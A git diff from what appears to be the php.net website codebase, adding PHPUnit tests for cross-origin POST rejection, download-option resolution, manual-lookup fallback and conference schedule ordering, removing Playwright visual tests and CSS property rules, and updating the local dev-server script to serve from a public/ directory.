initial-value: 100% -} - -@property --tw-drop-shadow-size { - syntax: "*"; - inherits: false -} - -@property --tw-shadow { - syntax: "*"; - inherits: false; - initial-value: 0 0 #0000 -} - -@property --tw-shadow-color { - syntax: "*"; - inherits: false -} - -@property --tw-shadow-alpha { - syntax: ""; - inherits: false; - initial-value: 100% -} - -@property --tw-inset-shadow { - syntax: "*"; - inherits: false; - initial-value: 0 0 #0000 -} - -@property --tw-inset-shadow-color { - syntax: "*"; - inherits: false -} - -@property --tw-inset-shadow-alpha { - syntax: ""; - inherits: false; - initial-value: 100% -} - -@property --tw-ring-color { - syntax: "*"; - inherits: false -} - -@property --tw-ring-shadow { - syntax: "*"; - inherits: false; - initial-value: 0 0 #0000 -} - -@property --tw-inset-ring-color { - syntax: "*"; - inherits: false -} - -@property --tw-inset-ring-shadow { - syntax: "*"; - inherits: false; - initial-value: 0 0 #0000 -} - -@property --tw-ring-inset { - syntax: "*"; - inherits: false -} - -@property --tw-ring-offset-width { - syntax: ""; - inherits: false; - initial-value: 0 -} - -@property --tw-ring-offset-color { - syntax: "*"; - inherits: false; - initial-value: #fff -} - -@property --tw-ring-offset-shadow { - syntax: "*"; - inherits: false; - initial-value: 0 0 #0000 -} - -@property --tw-backdrop-blur { - syntax: "*"; - inherits: false -} - -@property --tw-backdrop-brightness { - syntax: "*"; - inherits: false -} - -@property --tw-backdrop-contrast { - syntax: "*"; - inherits: false -} - -@property --tw-backdrop-grayscale { - syntax: "*"; - inherits: false -} - -@property --tw-backdrop-hue-rotate { - syntax: "*"; - inherits: false -} - -@property --tw-backdrop-invert { - syntax: "*"; - inherits: false -} - -@property --tw-backdrop-opacity { - syntax: "*"; - inherits: false -} - -@property --tw-backdrop-saturate { - syntax: "*"; - inherits: false -} - -@property --tw-backdrop-sepia { - syntax: "*"; - inherits: false -} - -@property --tw-border-style { - syntax: "*"; - inherits: false; - initial-value: solid -} - -@property --tw-outline-style { - syntax: "*"; - inherits: false; - initial-value: solid -} - -@property --tw-gradient-position { - syntax: "*"; - inherits: false -} - -@property --tw-gradient-from { - syntax: ""; - inherits: false; - initial-value: #0000 -} - -@property --tw-gradient-via { - syntax: ""; - inherits: false; - initial-value: #0000 -} - -@property --tw-gradient-to { - syntax: ""; - inherits: false; - initial-value: #0000 -} - -@property --tw-gradient-stops { - syntax: "*"; - inherits: false -} - -@property --tw-gradient-via-stops { - syntax: "*"; - inherits: false -} - -@property --tw-gradient-from-position { - syntax: ""; - inherits: false; - initial-value: 0% -} - -@property --tw-gradient-via-position { - syntax: ""; - inherits: false; - initial-value: 50% -} - -@property --tw-gradient-to-position { - syntax: ""; - inherits: false; - initial-value: 100% -} - -@property --tw-duration { - syntax: "*"; - inherits: false -} - -@property --tw-ease { - syntax: "*"; - inherits: false -} - -@property --tw-font-weight { - syntax: "*"; - inherits: false -} - -@property --tw-leading { - syntax: "*"; - inherits: false -} - -@property --tw-space-y-reverse { - syntax: "*"; - inherits: false; - initial-value: 0 -} - -@property --tw-space-x-reverse { - syntax: "*"; - inherits: false; - initial-value: 0 -} - -@property --tw-tracking { - syntax: "*"; - inherits: false -} diff --git a/tests/EndToEnd/OriginHeaderTest.php b/tests/EndToEnd/OriginHeaderTest.php new file mode 100644 index 0000000000..e62f30acd6 --- /dev/null +++ b/tests/EndToEnd/OriginHeaderTest.php @@ -0,0 +1,256 @@ + + */ + public static function provideForeignOrigin(): \Generator + { + $origins = [ + // Any unrelated site embedding or fetching php.net. + 'https://example.com', + // Browsers send a literal "null" origin for sandboxed iframes, + // documents from data:/file: URLs, and some cross-origin redirects. + 'null', + // Must not be treated as php.net just because it contains it. + 'https://evil-php.net.attacker.com', + 'https://notphp.net', + ]; + + foreach ($origins as $origin) { + yield $origin => [$origin]; + } + } + + /** + * @return \Generator + */ + public static function provideAllowedOrigin(): \Generator + { + $origins = [ + 'no Origin header' => null, + 'https://www.php.net' => 'https://www.php.net', + 'https://php.net' => 'https://php.net', + 'https://qa.php.net' => 'https://qa.php.net', + ]; + + foreach ($origins as $name => $origin) { + yield $name => [$origin]; + } + } + + /** + * @return \Generator + */ + public static function providePath(): \Generator + { + $paths = [ + '/', + '/downloads.php', + '/contact.php', + '/manual/en/function.str-replace.php', + '/releases/', + ]; + + foreach ($paths as $path) { + yield $path => [$path]; + } + } + + /** + * @return array{status: int, body: string, vary: string} + */ + private static function post(string $path, string $origin): array + { + return self::get($path, $origin, ['vote' => 'up']); + } + + /** + * @param ?array $postFields + * + * @return array{status: int, body: string, vary: string} + */ + private static function get( + string $path, + ?string $origin = null, + ?array $postFields = null, + ): array + { + $httpHost = getenv('HTTP_HOST'); + + if (!is_string($httpHost)) { + throw new \RuntimeException('Environment variable "HTTP_HOST" is not set.'); + } + + $headers = []; + + if (is_string($origin)) { + $headers[] = sprintf('Origin: %s', $origin); + } + + $vary = ''; + + $handle = curl_init(); + + if (is_array($postFields)) { + curl_setopt($handle, CURLOPT_POST, true); + curl_setopt($handle, CURLOPT_POSTFIELDS, http_build_query($postFields)); + } + + curl_setopt_array($handle, [ + CURLOPT_RETURNTRANSFER => true, + CURLOPT_HTTPHEADER => $headers, + CURLOPT_URL => sprintf('http://%s%s', $httpHost, $path), + CURLOPT_HEADERFUNCTION => static function ($handle, string $header) use (&$vary): int { + if (stripos($header, 'vary:') === 0) { + $vary = trim(substr($header, strlen('vary:'))); + } + + return strlen($header); + }, + ]); + + $body = curl_exec($handle); + $status = curl_getinfo($handle, CURLINFO_HTTP_CODE); + + curl_close($handle); + + if (!is_string($body)) { + throw new \RuntimeException(sprintf('Failed to request "%s".', $path)); + } + + return [ + 'status' => $status, + 'body' => $body, + 'vary' => $vary, + ]; + } +} diff --git a/tests/Unit/Downloads/OptionResolverTest.php b/tests/Unit/Downloads/OptionResolverTest.php new file mode 100644 index 0000000000..7d379e4cc3 --- /dev/null +++ b/tests/Unit/Downloads/OptionResolverTest.php @@ -0,0 +1,177 @@ +}> + */ + private const OS_LIST = [ + 'linux' => [ + 'name' => 'Linux', + 'variants' => [ + 'linux-debian' => 'Debian', + 'linux-ubuntu' => 'Ubuntu', + ], + ], + 'osx' => [ + 'name' => 'macOS', + 'variants' => [ + 'osx-homebrew' => 'Homebrew', + 'osx-macports' => 'MacPorts', + ], + ], + 'windows' => [ + 'name' => 'Windows', + 'variants' => [ + 'windows-downloads' => 'ZIP Downloads', + 'windows-native' => 'Single Line Installer', + ], + ], + ]; + + /** + * Reproduces the production crash: a bot requesting downloads.php?os= + * previously made $os[$options['os']] null and threw + * "array_key_exists(): Argument #2 ($array) must be of type array, null given". + * It now redirects to the auto-detected results instead. + */ + public function testInvalidOsParameterRedirectsToDefault(): void + { + $resolution = $this->resolver()->resolve(['os' => 'not-a-real-os'], '', ''); + + self::assertSame('linux', $resolution->options['os']); + self::assertSame('linux-debian', $resolution->options['osvariant']); + self::assertSame('os=linux&osvariant=linux-debian&version=default', $resolution->redirectQuery); + } + + public function testArrayOsParameterRedirectsToDefault(): void + { + $resolution = $this->resolver()->resolve(['os' => ['linux']], '', ''); + + self::assertSame('linux', $resolution->options['os']); + self::assertSame('os=linux&osvariant=linux-debian&version=default', $resolution->redirectQuery); + } + + public function testInvalidOsRedirectsToAutoDetectedResults(): void + { + $resolution = $this->resolver()->resolve( + ['os' => 'error'], + '', + 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', + ); + + self::assertSame('windows', $resolution->options['os']); + self::assertSame('os=windows&osvariant=windows-downloads&version=default', $resolution->redirectQuery); + } + + public function testInvalidOsRedirectPreservesRequestedVersion(): void + { + $resolution = $this->resolver()->resolve(['os' => 'error', 'version' => '8.4'], '', ''); + + self::assertSame('os=linux&osvariant=linux-debian&version=8.4', $resolution->redirectQuery); + } + + public function testValidOsParameterDoesNotRedirect(): void + { + $resolution = $this->resolver()->resolve(['os' => 'windows'], '', ''); + + self::assertNull($resolution->redirectQuery); + self::assertSame('windows', $resolution->options['os']); + self::assertSame('windows-downloads', $resolution->options['osvariant']); + } + + public function testAbsentOsParameterDoesNotRedirect(): void + { + $resolution = $this->resolver()->resolve([], '', ''); + + self::assertNull($resolution->redirectQuery); + self::assertSame('linux', $resolution->options['os']); + } + + public function testValidOsAndVariantAreHonored(): void + { + $resolution = $this->resolver()->resolve( + ['os' => 'osx', 'osvariant' => 'osx-macports'], + '', + '', + ); + + self::assertNull($resolution->redirectQuery); + self::assertSame('osx', $resolution->options['os']); + self::assertSame('osx-macports', $resolution->options['osvariant']); + } + + public function testInvalidVariantFallsBackToFirstForThatOs(): void + { + $resolution = $this->resolver()->resolve( + ['os' => 'windows', 'osvariant' => 'linux-debian'], + '', + '', + ); + + self::assertNull($resolution->redirectQuery); + self::assertSame('windows', $resolution->options['os']); + self::assertSame('windows-downloads', $resolution->options['osvariant']); + } + + public function testVersionDefaultsWhenNotSupplied(): void + { + $resolution = $this->resolver()->resolve([], '', ''); + + self::assertSame('default', $resolution->options['version']); + } + + public function testGetParametersArePreserved(): void + { + $resolution = $this->resolver()->resolve( + ['os' => 'linux', 'version' => '8.4', 'source' => 'Y'], + '', + '', + ); + + self::assertSame('8.4', $resolution->options['version']); + self::assertSame('Y', $resolution->options['source']); + } + + public function testDetectsWindowsFromUserAgent(): void + { + $resolution = $this->resolver()->resolve([], '', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'); + + self::assertSame('windows', $resolution->options['os']); + } + + public function testDetectsUbuntuVariantFromUserAgent(): void + { + $resolution = $this->resolver()->resolve([], '', 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64)'); + + self::assertSame('linux', $resolution->options['os']); + self::assertSame('linux-ubuntu', $resolution->options['osvariant']); + } + + public function testExplicitOsParameterOverridesAutoDetection(): void + { + $resolution = $this->resolver()->resolve( + ['os' => 'osx'], + '', + 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', + ); + + self::assertNull($resolution->redirectQuery); + self::assertSame('osx', $resolution->options['os']); + } + + private function resolver(): OptionResolver + { + return new OptionResolver(self::OS_LIST); + } +} diff --git a/tests/Unit/GenChallengeTest.php b/tests/Unit/GenChallengeTest.php index a22e861312..2c93e0131e 100644 --- a/tests/Unit/GenChallengeTest.php +++ b/tests/Unit/GenChallengeTest.php @@ -5,6 +5,7 @@ namespace phpweb\Test\Unit; use PHPUnit\Framework; +use phpweb\ProjectGlobals; #[Framework\Attributes\CoversFunction('gen_challenge')] #[Framework\Attributes\UsesFunction('gen_minus')] @@ -15,7 +16,7 @@ final class GenChallengeTest extends Framework\TestCase { public static function setUpBeforeClass(): void { - require_once __DIR__ . '/../../manual/spam_challenge.php'; + require_once ProjectGlobals::getPublicRoot() . '/manual/spam_challenge.php'; mt_srand(9001); } diff --git a/tests/Unit/LangChooserTest.php b/tests/Unit/LangChooserTest.php index 8c8d3a60c2..a293e9bc27 100644 --- a/tests/Unit/LangChooserTest.php +++ b/tests/Unit/LangChooserTest.php @@ -20,7 +20,7 @@ class LangChooserTest extends Framework\TestCase public function testChooseCodeWithLangParameter(): void { - $langChooser = new LangChooser(self::DEFAULT_LANGUAGE_LIST, [], '', '', 'en'); + $langChooser = new LangChooser(self::DEFAULT_LANGUAGE_LIST, [], '', 'en'); $result = $langChooser->chooseCode('de', '/', null); self::assertSame(['de', 'de'], $result); diff --git a/tests/Unit/ManualLookup/FindManualPageTest.php b/tests/Unit/ManualLookup/FindManualPageTest.php new file mode 100644 index 0000000000..251e7ef88a --- /dev/null +++ b/tests/Unit/ManualLookup/FindManualPageTest.php @@ -0,0 +1,103 @@ + */ + function get_manual_search_sections(): array + { + return [ + "", "book.", "ref.", "function.", "class.", "enum.", + "features.", "control-structures.", "language.", + "about.", "faq.", + ]; + } + } + + require_once phpweb\ProjectGlobals::getProjectRoot() . '/include/manual-lookup.inc'; +} + +namespace phpweb\Test\Unit\ManualLookup { + + use phpweb\ProjectGlobals; + use PHPUnit\Framework; + + #[Framework\Attributes\CoversFunction('find_manual_page')] + #[Framework\Attributes\CoversFunction('find_manual_page_slow')] + #[Framework\Attributes\RunTestsInSeparateProcesses] + #[Framework\Attributes\PreserveGlobalState(false)] + final class FindManualPageTest extends Framework\TestCase + { + // Manual pages checked into public/manual/en/ that the searches below resolve to. + private const SLOW_PATH_PAGE = '/manual/en/function.strpos.php'; + + private const FAST_PATH_PAGE = '/manual/en/function.rtrim.php'; + + private string $database; + + protected function setUp(): void + { + $this->database = ProjectGlobals::getBackendRoot() . '/manual-lookup.sqlite'; + + // A database here means a live checkout with an rsynced manual, not a test one + if (file_exists($this->database)) { + self::markTestSkipped('manual-lookup.sqlite is present, refusing to overwrite it'); + } + } + + protected function tearDown(): void + { + @unlink($this->database); + } + + /** + * Regression test for the production fatal: + * Uncaught PDOException: SQLSTATE[HY000]: General error: 8 + * attempt to write a readonly database in include/manual-lookup.inc + * + * A read-only, locked or truncated database must fall back to the slow + * search rather than throwing. + */ + public function testFallsBackToSlowSearchWhenSqliteQueryFails(): void + { + file_put_contents($this->database, 'this is not a sqlite database'); + + self::assertSame(self::SLOW_PATH_PAGE, find_manual_page('en', 'strpos')); + } + + public function testFallsBackToSlowSearchForDottedKeywordWhenSqliteQueryFails(): void + { + // A dotted keyword takes the other SQL branch, which must fall back too + file_put_contents($this->database, 'this is not a sqlite database'); + + self::assertSame(self::SLOW_PATH_PAGE, find_manual_page('en', 'function.strpos')); + } + + public function testFallsBackToSlowSearchWhenNoDatabasePresent(): void + { + self::assertSame(self::SLOW_PATH_PAGE, find_manual_page('en', 'strpos')); + } + + /** + * The fast path maps the keyword to a different page than the slow search + * would find, so a match on it proves the database was really used. + */ + #[Framework\Attributes\RequiresPhpExtension('pdo_sqlite')] + public function testUsesSqliteFastPathWhenDatabaseIsValid(): void + { + $dbh = new \PDO('sqlite:' . $this->database); + $dbh->exec('CREATE TABLE fs (lang TEXT, prefix TEXT, keyword TEXT, name TEXT, prio INT)'); + $dbh->exec(sprintf( + "INSERT INTO fs (lang, prefix, keyword, name, prio) VALUES ('en', 'function.', 'strpos', '%s', 3)", + self::FAST_PATH_PAGE, + )); + $dbh = null; + + self::assertSame(self::FAST_PATH_PAGE, find_manual_page('en', 'strpos')); + } + } +} diff --git a/tests/Unit/News/ConferenceScheduleTest.php b/tests/Unit/News/ConferenceScheduleTest.php new file mode 100644 index 0000000000..3b9a081545 --- /dev/null +++ b/tests/Unit/News/ConferenceScheduleTest.php @@ -0,0 +1,131 @@ +upcomingConferences)); + self::assertSame(['past'], self::ids($schedule->pastConferences)); + self::assertSame([], $schedule->openCallsForPapers); + self::assertSame([], $schedule->closedCallsForPapers); + } + + public function testUpcomingConferencesAreOrderedSoonestFirst(): void + { + $schedule = new ConferenceSchedule([ + self::entry('later', ['conferences'], '2020-09-01'), + self::entry('sooner', ['conferences'], '2020-07-01'), + self::entry('middle', ['conferences'], '2020-08-01'), + ], '2020-06-01'); + + self::assertSame(['sooner', 'middle', 'later'], self::ids($schedule->upcomingConferences)); + } + + public function testPastConferencesAreOrderedMostRecentFirstWithUndatedLast(): void + { + $schedule = new ConferenceSchedule([ + self::entry('older', ['conferences'], '2020-01-01'), + self::entry('undated', ['conferences'], null), + self::entry('newer', ['conferences'], '2020-05-01'), + ], '2020-06-01'); + + // A conference with no start date can't be placed, so it sorts last. + self::assertSame(['newer', 'older', 'undated'], self::ids($schedule->pastConferences)); + } + + public function testCfpsSplitIntoOpenAndClosedByDeadline(): void + { + $schedule = new ConferenceSchedule([ + self::entry('open', ['cfp'], '2020-06-01'), + self::entry('closed', ['cfp'], '2020-05-31'), + self::entry('undated', ['cfp'], null), + ], '2020-06-01'); + + // Today counts as open; a CFP with no deadline can't be confirmed open, so it is closed. + self::assertSame(['open'], self::ids($schedule->openCallsForPapers)); + // Closed is ordered most-recently-closed first, with the undated CFP last. + self::assertSame(['closed', 'undated'], self::ids($schedule->closedCallsForPapers)); + self::assertSame([], $schedule->upcomingConferences); + self::assertSame([], $schedule->pastConferences); + } + + public function testOpenCallsForPapersAreOrderedSoonestDeadlineFirst(): void + { + $schedule = new ConferenceSchedule([ + self::entry('later', ['cfp'], '2020-09-01'), + self::entry('sooner', ['cfp'], '2020-07-01'), + ], '2020-06-01'); + + self::assertSame(['sooner', 'later'], self::ids($schedule->openCallsForPapers)); + } + + public function testEntriesCarryingBothTermsAreTreatedAsConferences(): void + { + // A post that announces a conference and opens its CFP at once, in either term order. + $schedule = new ConferenceSchedule([ + self::entry('conf-first', ['conferences', 'cfp'], '2020-07-01'), + self::entry('cfp-first', ['cfp', 'conferences'], '2020-05-01'), + ], '2020-06-01'); + + self::assertSame(['conf-first'], self::ids($schedule->upcomingConferences)); + self::assertSame(['cfp-first'], self::ids($schedule->pastConferences)); + self::assertSame([], $schedule->openCallsForPapers); + self::assertSame([], $schedule->closedCallsForPapers); + } + + public function testConferencesWithoutAFinalTeaserDateFallIntoPast(): void + { + $schedule = new ConferenceSchedule([ + self::entry('undated', ['conferences'], null), + ], '2020-06-01'); + + self::assertSame(['undated'], self::ids($schedule->pastConferences)); + self::assertSame([], $schedule->upcomingConferences); + } + + /** + * @param list $terms + * + * @return array + */ + private static function entry(string $id, array $terms, ?string $finalTeaserDate): array + { + $entry = [ + 'id' => $id, + 'title' => $id, + 'category' => array_map(static fn (string $term): array => ['term' => $term, 'label' => $term], $terms), + ]; + + if ($finalTeaserDate !== null) { + $entry['finalTeaserDate'] = $finalTeaserDate; + } + + return $entry; + } + + /** + * @param list $entries + * + * @return list + */ + private static function ids(array $entries): array + { + return array_map(static fn (array $entry): string => (string) $entry['id'], $entries); + } +} diff --git a/tests/Unit/TestAnswerTest.php b/tests/Unit/TestAnswerTest.php index a2ae710d63..794752f56b 100644 --- a/tests/Unit/TestAnswerTest.php +++ b/tests/Unit/TestAnswerTest.php @@ -5,6 +5,7 @@ namespace phpweb\Test\Unit; use PHPUnit\Framework; +use phpweb\ProjectGlobals; #[Framework\Attributes\CoversFunction('test_answer')] #[Framework\Attributes\UsesFunction('minus')] @@ -13,7 +14,7 @@ final class TestAnswerTest extends Framework\TestCase { public static function setUpBeforeClass(): void { - require_once __DIR__ . '/../../manual/spam_challenge.php'; + require_once ProjectGlobals::getPublicRoot() . '/manual/spam_challenge.php'; } #[Framework\Attributes\DataProvider('provideFunctionArgumentsAnswerAndExpectedIsValid')] diff --git a/tests/Unit/UserNotes/SorterTest.php b/tests/Unit/UserNotes/SorterTest.php index 16d3f60aa9..f98d07ae07 100644 --- a/tests/Unit/UserNotes/SorterTest.php +++ b/tests/Unit/UserNotes/SorterTest.php @@ -5,6 +5,7 @@ namespace phpweb\Test\Unit\UserNotes; use PHPUnit\Framework; +use phpweb\ProjectGlobals; use phpweb\UserNotes\Sorter; use phpweb\UserNotes\UserNote; @@ -98,7 +99,7 @@ public function testSortSortsSomeNotes(): void public function testSortSortsFullNotes(): void { - $file = file(__DIR__ . '/../../../backend/notes/d7/d7742c269d23ea86'); + $file = file(ProjectGlobals::getBackendRoot() . '/notes/d7/d7742c269d23ea86'); $notes = []; diff --git a/tests/Visual/SearchModal.css b/tests/Visual/SearchModal.css deleted file mode 100644 index fa3a03bc6f..0000000000 --- a/tests/Visual/SearchModal.css +++ /dev/null @@ -1,3 +0,0 @@ -.hero__versions { - visibility: hidden !important; -} diff --git a/tests/Visual/SearchModal.spec.ts b/tests/Visual/SearchModal.spec.ts deleted file mode 100644 index 4a753c9f0a..0000000000 --- a/tests/Visual/SearchModal.spec.ts +++ /dev/null @@ -1,35 +0,0 @@ -import { test, expect } from "@playwright/test"; -import path from "path"; - -const httpHost = process.env.HTTP_HOST; - -if (typeof httpHost !== "string") { - throw new Error('Environment variable "HTTP_HOST" is not set.'); -} - -test.beforeEach(async ({ page }) => { - await page.goto(httpHost); -}); - -const openSearchModal = async (page) => { - await page.getByRole("button", { name: "Search" }).click(); - const modal = await page.getByRole("dialog", { name: "Search modal" }); - - // Wait for the modal animation to finish - await expect(page.locator("#search-modal__backdrop.show")).not.toHaveClass( - "showing", - ); - - expect(modal).toBeVisible(); - return modal; -}; - -test("should match search modal visual snapshot", async ({ page }) => { - const modal = await openSearchModal(page); - await modal.getByRole("searchbox").fill("array"); - await expect(page).toHaveScreenshot(`tests/screenshots/search-modal.png`, { - // Cannot use mask as it ignores z-index - // See https://github.com/microsoft/playwright/issues/19002 - stylePath: path.join(__dirname, "SearchModal.css"), - }); -}); diff --git a/tests/Visual/SearchModal.spec.ts-snapshots/tests-screenshots-search-modal-chromium-linux.png b/tests/Visual/SearchModal.spec.ts-snapshots/tests-screenshots-search-modal-chromium-linux.png deleted file mode 100644 index 089cd07b76..0000000000 Binary files a/tests/Visual/SearchModal.spec.ts-snapshots/tests-screenshots-search-modal-chromium-linux.png and /dev/null differ diff --git a/tests/Visual/SmokeTest.spec.ts b/tests/Visual/SmokeTest.spec.ts deleted file mode 100644 index 7d8979edcc..0000000000 --- a/tests/Visual/SmokeTest.spec.ts +++ /dev/null @@ -1,76 +0,0 @@ -import {expect, test} from '@playwright/test'; - -export type TestPageOptions = { - path: string - options?: object - evaluate?: () => any - mask?: string[] -} - -const items: TestPageOptions[] = [ - { - path: 'index.php', - evaluate: () => { - const selector = document.querySelector('.elephpants'); - selector.remove() - }, - options: { - fullPage: true, - timeout: 10000, - }, - mask: ['.hero__versions'], - }, - { - path: 'archive/1998.php', - evaluate: () => { - const selector = document.querySelector('.elephpants'); - selector.remove() - } - }, - {path: 'releases/8_3_6.php'}, - {path: 'releases/8.0/index.php'}, - {path: 'releases/8.1/index.php'}, - {path: 'releases/8.2/index.php'}, - {path: 'releases/8.3/index.php'}, - {path: 'manual/index.php'}, - {path: 'manual/php5.php'}, - { - path: 'conferences/index.php', - options: { - fullPage: false, - } - }, -] - -for (const item of items) { - test(`testing with ${item.path}`, async ({page}, testInfo) => { - testInfo.snapshotSuffix = ''; - - const httpHost = process.env.HTTP_HOST - - if (typeof httpHost !== 'string') { - throw new Error('Environment variable "HTTP_HOST" is not set.') - } - - await page.goto(`${httpHost}/${item.path}`) - - if (typeof item.evaluate === 'function') { - await page.evaluate(item.evaluate) - } - - if (typeof item.mask === 'object') { - item.options = { - ...item.options, - mask: item.mask.map((selector) => page.locator(selector)) - } - } - - await expect(page).toHaveScreenshot( - `tests/screenshots/${item.path}.png`, - item.options ?? { - fullPage: true, - timeout: 10000, - } - ) - }) -} diff --git a/tests/Visual/SmokeTest.spec.ts-snapshots/tests-screenshots-archive-1998-php-chromium.png b/tests/Visual/SmokeTest.spec.ts-snapshots/tests-screenshots-archive-1998-php-chromium.png deleted file mode 100644 index 847b1bae90..0000000000 Binary files a/tests/Visual/SmokeTest.spec.ts-snapshots/tests-screenshots-archive-1998-php-chromium.png and /dev/null differ diff --git a/tests/Visual/SmokeTest.spec.ts-snapshots/tests-screenshots-conferences-index-php-chromium.png b/tests/Visual/SmokeTest.spec.ts-snapshots/tests-screenshots-conferences-index-php-chromium.png deleted file mode 100644 index 4c299f7b51..0000000000 Binary files a/tests/Visual/SmokeTest.spec.ts-snapshots/tests-screenshots-conferences-index-php-chromium.png and /dev/null differ diff --git a/tests/Visual/SmokeTest.spec.ts-snapshots/tests-screenshots-index-php-chromium.png b/tests/Visual/SmokeTest.spec.ts-snapshots/tests-screenshots-index-php-chromium.png deleted file mode 100644 index 43ff6b6ca7..0000000000 Binary files a/tests/Visual/SmokeTest.spec.ts-snapshots/tests-screenshots-index-php-chromium.png and /dev/null differ diff --git a/tests/Visual/SmokeTest.spec.ts-snapshots/tests-screenshots-manual-index-php-chromium.png b/tests/Visual/SmokeTest.spec.ts-snapshots/tests-screenshots-manual-index-php-chromium.png deleted file mode 100644 index 8ea58d12ca..0000000000 Binary files a/tests/Visual/SmokeTest.spec.ts-snapshots/tests-screenshots-manual-index-php-chromium.png and /dev/null differ diff --git a/tests/Visual/SmokeTest.spec.ts-snapshots/tests-screenshots-manual-php5-php-chromium.png b/tests/Visual/SmokeTest.spec.ts-snapshots/tests-screenshots-manual-php5-php-chromium.png deleted file mode 100644 index 4c615c577e..0000000000 Binary files a/tests/Visual/SmokeTest.spec.ts-snapshots/tests-screenshots-manual-php5-php-chromium.png and /dev/null differ diff --git a/tests/Visual/SmokeTest.spec.ts-snapshots/tests-screenshots-releases-8-0-index-php-chromium.png b/tests/Visual/SmokeTest.spec.ts-snapshots/tests-screenshots-releases-8-0-index-php-chromium.png deleted file mode 100644 index 51743e1129..0000000000 Binary files a/tests/Visual/SmokeTest.spec.ts-snapshots/tests-screenshots-releases-8-0-index-php-chromium.png and /dev/null differ diff --git a/tests/Visual/SmokeTest.spec.ts-snapshots/tests-screenshots-releases-8-1-index-php-chromium.png b/tests/Visual/SmokeTest.spec.ts-snapshots/tests-screenshots-releases-8-1-index-php-chromium.png deleted file mode 100644 index d4f1798999..0000000000 Binary files a/tests/Visual/SmokeTest.spec.ts-snapshots/tests-screenshots-releases-8-1-index-php-chromium.png and /dev/null differ diff --git a/tests/Visual/SmokeTest.spec.ts-snapshots/tests-screenshots-releases-8-2-index-php-chromium.png b/tests/Visual/SmokeTest.spec.ts-snapshots/tests-screenshots-releases-8-2-index-php-chromium.png deleted file mode 100644 index 5edc721081..0000000000 Binary files a/tests/Visual/SmokeTest.spec.ts-snapshots/tests-screenshots-releases-8-2-index-php-chromium.png and /dev/null differ diff --git a/tests/Visual/SmokeTest.spec.ts-snapshots/tests-screenshots-releases-8-3-6-php-chromium.png b/tests/Visual/SmokeTest.spec.ts-snapshots/tests-screenshots-releases-8-3-6-php-chromium.png deleted file mode 100644 index 26c6ff70c9..0000000000 Binary files a/tests/Visual/SmokeTest.spec.ts-snapshots/tests-screenshots-releases-8-3-6-php-chromium.png and /dev/null differ diff --git a/tests/Visual/SmokeTest.spec.ts-snapshots/tests-screenshots-releases-8-3-index-php-chromium.png b/tests/Visual/SmokeTest.spec.ts-snapshots/tests-screenshots-releases-8-3-index-php-chromium.png deleted file mode 100644 index de9a857bd1..0000000000 Binary files a/tests/Visual/SmokeTest.spec.ts-snapshots/tests-screenshots-releases-8-3-index-php-chromium.png and /dev/null differ diff --git a/tests/phpunit.xml b/tests/phpunit.xml index 5e81e856f0..2e1031e36b 100644 --- a/tests/phpunit.xml +++ b/tests/phpunit.xml @@ -27,7 +27,7 @@ - ../manual/ + ../public/manual/ ../include/ ../src/ diff --git a/tests/server b/tests/server index 6cae14553d..473b271d4d 100755 --- a/tests/server +++ b/tests/server @@ -8,6 +8,9 @@ HOST=localhost PORT=8080 # script name NAME=${0##*/} +# project paths +PROJECT_ROOT=$(cd "$(dirname "$0")/.." && pwd) +PUBLIC_ROOT="$PROJECT_ROOT/public" usage () { cat </dev/null 2>&1; then +if [ -t 1 ] && [ -n "${TERM:-}" ] && which tput >/dev/null 2>&1; then ncolors=$(tput colors) fi if [ -t 1 ] && [ -n "$ncolors" ] && [ "$ncolors" -ge 8 ]; then @@ -74,8 +77,8 @@ if [[ $# > 1 ]]; then fi # pidfile contents would be hostname:port:pid -PIDFILE=.build/server/server.pid -LOGFILE=.build/server/server.log +PIDFILE="$PROJECT_ROOT/.build/server/server.pid" +LOGFILE="$PROJECT_ROOT/.build/server/server.log" validate_server () { which php &> /dev/null @@ -107,12 +110,34 @@ start_server () { echo if you are sure no server is running just remove "$PIDFILE" manually and start again return 1 else - printf "${GREEN}"$NAME" started on $HOST:$PORT${NORMAL}\n" - mkdir -p $(dirname "$LOGFILE") - php -S "$HOST":"$PORT" -c tests/php.ini >> "$LOGFILE" 2>&1 & - mkdir -p $(dirname "$PIDFILE") - echo "$HOST":"$PORT":$! > $PIDFILE - return 0 + mkdir -p "$(dirname "$LOGFILE")" + ( + cd "$PUBLIC_ROOT" || exit 1 + exec php -S "$HOST":"$PORT" -c "$PROJECT_ROOT/tests/php.ini" .router.php + ) >> "$LOGFILE" 2>&1 & + SERVER_PID=$! + mkdir -p "$(dirname "$PIDFILE")" + echo "$HOST":"$PORT":"$SERVER_PID" > "$PIDFILE" + + for _ in {1..50}; do + if ! kill -0 "$SERVER_PID" 2>/dev/null; then + rm -f "$PIDFILE" + printf "${YELLOW}Error: $NAME failed to start. See $LOGFILE for details.${NORMAL}\n" + return 1 + fi + + if php -n -r '$socket = @fsockopen($argv[1], (int) $argv[2], $errorCode, $errorMessage, 0.1); if ($socket === false) { exit(1); } fclose($socket);' "$HOST" "$PORT"; then + printf "${GREEN}"$NAME" started on $HOST:$PORT${NORMAL}\n" + return 0 + fi + + sleep 0.1 + done + + kill "$SERVER_PID" 2>/dev/null + rm -f "$PIDFILE" + printf "${YELLOW}Error: $NAME did not become ready in time.${NORMAL}\n" + return 1 fi }